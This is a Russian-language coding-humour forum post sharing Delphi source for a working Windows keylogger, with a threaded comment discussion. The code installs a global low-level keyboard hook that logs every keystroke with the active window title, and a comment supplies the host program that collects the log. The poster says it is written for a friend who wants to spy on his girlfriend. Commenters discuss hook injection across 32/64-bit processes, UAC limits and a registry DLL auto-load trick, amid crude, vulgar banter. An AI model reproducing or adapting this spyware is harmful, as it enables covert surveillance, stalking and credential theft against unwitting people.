1. Pascal / Говнокод #24859

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    Запостил: BagorCtretora, 04 Октября 2018

    Комментарии (123) RSS

    • Некоторые умудряются люто изъебнуться с передачей строк через SendMessage или CreateFileMapping. Нахуя создавать FileMapping?
      Ответить
      • Переведи на "PHP".
        Ответить
        • Интерпретатор PHP на Delphi давно уже написал. Дерзай!
          Ответить
        • Одним "PHP" тут не отделаешься. Нужно отслеживать коды нажатых клавиш.

          Если "PHP" используется напрямую, придётся на языках низкого уровня писа́ть расширение для "PHP", чтобы можно было установить callback для SetWindowsHookExW.

          Если "PHP" используется для генерации веб-страницы, то нажатые клавиши придётся ловить через "Javascript".
          Ответить
          • Поэтому я против "Pascal", "Python" и "Явы".
            Ответить
            • Поясните, почему против именно этих языков.
              Ответить
              • Сложные какие-то.
                Ответить
                • по этому я за луа
                  Ответить
                  • "Лую" тоже в промежность.
                    Ответить
                    • Це
                      Ответить
                      • Це мент?
                        Це почка?
                        Це пень?
                        Ответить
                        • Це Еуропа!
                          Ответить
                        • В мухе це-це витамина це больше чем в обычной в два раза
                          Ответить
                          • Это нужно ценить. А где эту муху цеплять?
                            Ответить
                            • Мухой цэцэ называлась 0xCC. Это не опкод INT 3 (debug) как ты вероятно подумал, а ошибка которая появлялся на терминале, подключенном к испорченному диску Seagate.

                              Так ее и называли: "с сигейтом случилась муха цэцэ"
                              Ответить
                              • Насколько помню, COM-порт нужно было подключать к четырёхконтактному разъёму, который есть на всех сигейтовских дисках (от самых древних до современных), и запускать эмулятор терминала?

                                С другими винчестерами сложнее: у них разъём не припаян, провода нужно самому припаивать к отладочному интерфейсу.
                                Ответить
                                • >>COM
                                  Мне кажется это был UART а не RS-232. Протокол тот же, но физический уровень чуть иной

                                  >>и запускать эмулятор терминала?
                                  Да.

                                  HDD это маленький комптютер, там можно много через терминал сделать всякого.
                                  Ответить
                                  • Кажется, там была TTL 0...+5 вольт (у COM-порта размах -10...+10 вольт, если не путаю). В мобильных телефонах начала нулевых так же было. Из одного диапазона напряжений в другой можно сконвертировать микросхемой MAX232 (или тупым транзисторным каскадом, если не лень паять).
                                    Ответить
                                    • P.S. Ещё есть какая-то микросхема для USB-порта, создающая виртуальный COM-порт. Она выдаёт напряжения в диапазоне 0..+5 вольт, так что к ней сразу можно цеплять сигейтовский винчестер или древний мобильник.
                                      Ответить
                                      • > есть какая-то микросхема
                                        А ещё можно было юзать копеечный кабель от древнего мобильника чтобы не распаивать эту микросхему самому.
                                        Ответить
                                        • Ага, просто оторвать вилку, которая пихалась в мобильник, и припаять свой разъём.
                                          Ответить
                                    • роскомговно, залогинься:)

                                      Ты прав: MAX232 конвертил, и таки да: можно было из нокии собрать отличный UART, потом найти землю (должна прозваниться от корпуса), затем тыкать пальцем в мумулятор терминала и шукать с кем у земли будет разность потенциалов: это будет Rx. И так вот собрать провод
                                      Ответить
                                      • Не могу залогиниться. Не знаю пароля от роскомговна.
                                        Ответить
                                      • >> роскомговно, залогинься:)

                                        Его нет на сайте. Что ему передать?
                                        Ответить
                                        • Пару столовых ложек спермы за щеку.
                                          Ответить
                                        • Передай что у меня испачкалась мышка, спроси какое средство для чистки мышек он рекомендует
                                          Ответить
                        • Це лую
                          Ответить
                      • Це-плюс-плюс
                        Ответить
                      • Семь раз отмерь — один отрежь, KaKou-To_xyu!
                        Ответить
                        • Что значит «какой-то»? Всё равно, что резать?
                          Ответить
      • Дллка с хуком, емнип, инжектится во все процессы. Поэтому может понадобиться какой-нибудь механизм для передачи перехваченной инфы в основной процесс. Отсюда и маппинг или сообщения.
        Ответить
        • У меня это реализовано через процедуру-коллбек. Логгер подгружает библиотеку с хуком и вызывает процедуру установки хука, передавая одним из параметров адрес на коллбек, который в хостовом приложении пишет строки в память.
          Ответить
          • А потом каждый процесс сохраняет все это на диск или в сеть сам, не передавая в процесс логгера?
            Ответить
            • Под хостовым приложением я подразумевал сам логгер. Вот, для наглядности.

              [code]
              type
              TKbdHookEvent=procedure (S:WideString);

              function SetHook(callback:TKbdHookEvent):Boolean; external 'hook';
              function RemoveHook:Boolean; external 'hook';

              var
              Form1: TForm1;

              implementation

              {$R *.dfm}

              procedure Lol(S:WideString); // В коллбеке нельзя выполнять никаких длительных операций, ибо блокируется обработка сообщений в приложении-жертве.
              begin
              form1.Memo1.SelectAll;
              Form1.Memo1.SelStart:=Form1.Memo1.SelLen gth;
              form1.Memo1.SelText:=S;
              end;

              procedure TForm1.FormDestroy(Sender: TObject);
              begin
              RemoveHook;
              end;

              procedure TForm1.FormCreate(Sender: TObject);
              begin
              SetHook(lol);
              end;

              end.
              Ответить
              • Хм, т.е. винда всегда зовет коллбек именно в логгере и сама всю доставку между процессами делает?
                Ответить
              • Нук, а проверь свой логгер на 32-битных процессах. Походу он их просто распидорасит.
                Ответить
                • Хм, лол. Вроде всё ок. Просто не все хуки одинаково полезны...

                  WH_KEYBOARD_LL: This hook is called in the context of the thread that installed it.
                  WH_KEYBOARD: This hook may be called in the context of the thread that installed it.

                  Ебучее винапи, такие тонкости на ровном месте.
                  Ответить
                  • Зачем тогда нужон WH_KEYBOARD?
                    Ответить
                    • WH_KEYBOARD для высокуровневой KeyboardProc и получает virtual key
                      WH_KEYBOARD_LL для low level LowLevelKeyboardProc и получает структуру со скан-кодом

                      скан-коды могут отличаться для одной и той же кнопки у 8042 (PS/2), AT и (вероятно) USB HID (если там вообще есть скан коды)

                      Зато не все кнопки могут генерировать виртуальные коды (но все генерят скан коды)
                      Ответить
                      • У USB HID вроде бы все скан-коды стандартизированы, в отличие от клавиатур AT и PS/2.
                        Ответить
                        • Вероятно что так, Да
                          Ответить
                          • Нагуглил:
                            https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf

                            Таблица 12 на 53-й странице. Даже всякие «мультимедийные» клавиши задокументированы.
                            Ответить
                  • ты же вроде по прыщам, не?
                    Ответить
                    • здесь только ты по прыщам
                      Ответить
                    • Последние годы прыщи только дома для души (за редкими исключениями).
                      Ответить
                      • Нафиг так жить.
                        Ответить
                        • Да скучные они, все исходники доступны. Никакого простора для пердолинга.
                          Ответить
                          • Вообще говоря документация у MS довольно хорошая, но если уж чего-то там не сказано то всё: или хакеры с ольками в помощь, или эксперементы
                            Ответить
                            • К слову об отладчиках, когда-то я искал отладчик для винды, и, как ни странно, статья на луркоморье про реверс инжинигринг вдруг оказалась полезней гугола в этрм вопросе.
                              Ответить
                              • Отладчик встроен в VS (куржопенький, но для многого его хватает).

                                Есть оче мощный WinDBG в котором можно даже скрипты свои писать, но у него лёрнинг курв не очень: надо пару дней втыкать в .hh чтобы его осилить (или найти хорошие слайды, я читал)
                                Ответить
                                • > даже скрипты свои писать
                                  Причём на js.
                                  Ответить
                                  • фу, нет!

                                    Это в lldb можно было напитоне, а в windbg был свой язычок
                                    но это было очень давно, может быть уже и JS можно

                                    А еще можно было писать свои экстеншены
                                    Ответить
                                    • > фу, нет!
                                      Ну а что такого? Знакомый язык, который где-то ещё может пригодиться. Из джвух говн выбирают меньшее.

                                      Попробуй последнюю версию, она няшная. Хоть и не так хардкорно выглядит как старые, конечно.
                                      Ответить
                                      • >>Ну а что такого?
                                        Не знаю, у меня к JS что-то личное:) Хотя по большому счету пофиг конечно на чом писать


                                        >>Попробуй последнюю версию, она няшная.
                                        а покажи скрин?
                                        Ответить
                                        • > покажи скрин
                                          Windbg preview загугли, там полно в статье от майков.
                                          Ответить
                                      • Во истину, MS странные люди. У них пейджабельность ядреного кода зависит от имени секции!

                                        To make a code or data section pageable, the driver developer assigns a name that begins with "PAGE" to the section. The I/O manager checks the names of the sections when it loads a driver. If a section name begins with "PAGE", the I/O manager makes the section pageable.

                                        #pragma alloc_text(PAGE_PITUX, AddDevice)
                                        Ответить
                                        • Но ведь искать подстроку в имени секции —— это потеря пирфоманса. По-царски было бы проверять двоичные флаги.
                                          Ответить
                            • А нахуя писать на винапи?
                              Ответить
                              • Беда в том, что операционная, так сказать, система «Windows» широко распространена среди ламеров, поэтому кейлогеры и трояны приходится писа́ть именно под неё.

                                Стояла бы у потенциальных жертв другая ОС —— пришлось бы изучать другие API.

                                Вводная фраза «так сказать» не моя. Я её взял из хелпа русифицированной «Windows 3.11 for workgroups».
                                Ответить
                              • Все дело в том что не все программисты на свете занимаются писанием выпадающих менюшек на джаваскрипте и сайтов по продаже мороженного на джанге. Некоторые пишут программы совсем другого рода
                                Ответить
                                • Как интересно. То есть, к примеру, совершенствование "Windows" с годами проводится даже и по части функционала, не только по части правок внешнего вида в "CSS"?
                                  Ответить
                                  • Мне не удалось понять -- -- что ты пытался сказать
                                    Ответить
                                • Некоторые пилят напильником инструменты для первых двух? Или сидят на технологиях 20-летней давности и думают что это круто?
                                  Ответить
                                  • Блядь, напиши кейлоггер для винды не юзая винапи –— хуйца соснёшь.
                                    Ответить
                  • А мне кажется что не надо асампшены делать про треды

                    А мне кажется что надо иметь соседний процесс и передавать ему все через named pipes или mailslots какой другой IPC, и там уже всё разбирать)
                    Ответить
                • Распидорасил твой анус. Проверь.
                  Ответить
                • Распидорасит ибо 64итну .dll можно хукнуть толкьо в 64 битный проц и наоборот по понятным причинам

                  а кроме того SetWindowsHookExW не может хукаца в процессы в другой сессии (а значит ее надо запускать явно) а еще она не сможет наверняка без админских прав и UAC
                  Ответить
                  • > по понятным причинам
                    Лол в том, что хуки в процессы другой битности тоже работают. Винда сама зафорвардит их в тред, который инсталлил хук. А вот хуки правильной битности могут стрельнуть в любом из этих джвух процессов.
                    Ответить
                    • А WH_KEYBOARD_LL как?
                      Ответить
                      • Судя по доке, вообще всегда форвардятся.
                        Ответить
                        • То-есть если я юзаю WH_KEYBOARD_LL то я могу быть 32 и инсталлить в 64, а если WH_KEYBOARD то он форврарднется только если я другой битности?

                          охуенн

                          но всё равно без UAC не взлтит
                          Ответить
                          • Ну да. Забавно, что процессы другой битности хучить легче - не нужна вся эта ёбля с dll'ками, ipc и т.п.
                            Ответить
                            • Ващет гря MSDN черным по белому написано что нельзя в другую битность
                              Может быть это костыль для идиотов который не обязан работать?

                              Хотя вообще могут быть такие WH_ коие работают в хукнутом процессе и тогда ты в жопе

                              Так что в общем случае нельзя
                              Ответить
                              • Это костыль, который нужен для совместимости со старыми 32-битными кейлоггерами.

                                > чёрным по белому
                                Прибавь контраста что ли... In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx.
                                Ответить
                                • >>контраста
                                  Установил себе тёмную цветовую схему MSDN, проверь

                                  Remarks
                                  SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process.
                                  Ответить
                                  • Но хуки то будут работать, хоть и без инжекта (вроде не все, некоторые только под инжектом могут).
                                    Ответить
                                    • ох, кошмар какой
                                      кажется что ты прав

                                      Кстати, в реестре есть вольшебное место в которое если прописать .dll то она будет загружаться в даресное пространство процесса и в ней будет вызываца точка входа

                                      но туда тоже без UAC не запишеш
                                      Ответить
    • case vkCode of
              VK_BACK:     KeyName := '[BackSpace]';
              VK_TAB:      KeyName := '[Tab]';
              VK_CAPITAL:  KeyName := '[CapsLock]';
              VK_RETURN:   KeyName := '[Enter]';
              VK_ESCAPE:   KeyName := '[Esc]';
              VK_CANCEL:   KeyName :=  '[Cancel]';
              VK_F1:       KeyName := '[F1]';
      			{...}
              VK_HELP:     KeyName := '[Help]';
      В дельфи нет хэш-таблиц?
      Ответить
      • И нахуя мне там хэш-таблица? Есть массивы.
        Ответить
        • > нахуя
          КРАСИВА!!!

          Можно и массивы, если константы VK_BLABLA идкут попа рядку:
          const a: array [VK_ПЕРВЫЙ..VK_ПОСЛЕДНИЙ] of WideString = ( ... );
          
          {
          ...
          }
          
          keyname := a[vkCode];
          Ответить
          • > идкут попа рядку

            маловероятно.

            Можно же просто два параллельных массива сделать: с кодами и со строками, а потом линейным поиском по ним бегать. На таких размерах небось шустрее всяких там хэш-таблиц будет.
            Ответить
            • Там вроде винапишка была которая эти коды конвертит в названия.
              Ответить
          • Возможно эта информация не к месту, но стоит напомнить, что "VK" написан на "PHP".
            Ответить
        • На твоём месте не стал бы слушать советы какого-то хуя.
          Ответить
        • >>И нахуя мне там хэш-таблица? Есть массивы.

          ты царь чтоли?
          Ответить
    • Я дурак.
      Ответить
    • Переведи на "C". Мы не обязаны знать языки для школьников.
      Ответить
    • ахахахаха
      http://rsdn.org/forum/dotnet/2488205.flat
      Ответить
    • А хуле ты сам не переводишь на пхп?
      Придумал правило - выполняй!
      Ответить
    • В компанию "Luxoft" требуются переводчики на "PHP".
      Офис в Грозном.
      Писать на [email protected] или [email protected].
      Ответить
    • Готовых решений нет? Обязательно писать самому?
      Ответить
    • if strstr(WinTitle,"ICQ") and (rand() mod 100000 == 0) then
            KbdProc("Пупсик, мой козел ушел, приходи ко мне!<ENTER>");
      Ответить

    Добавить комментарий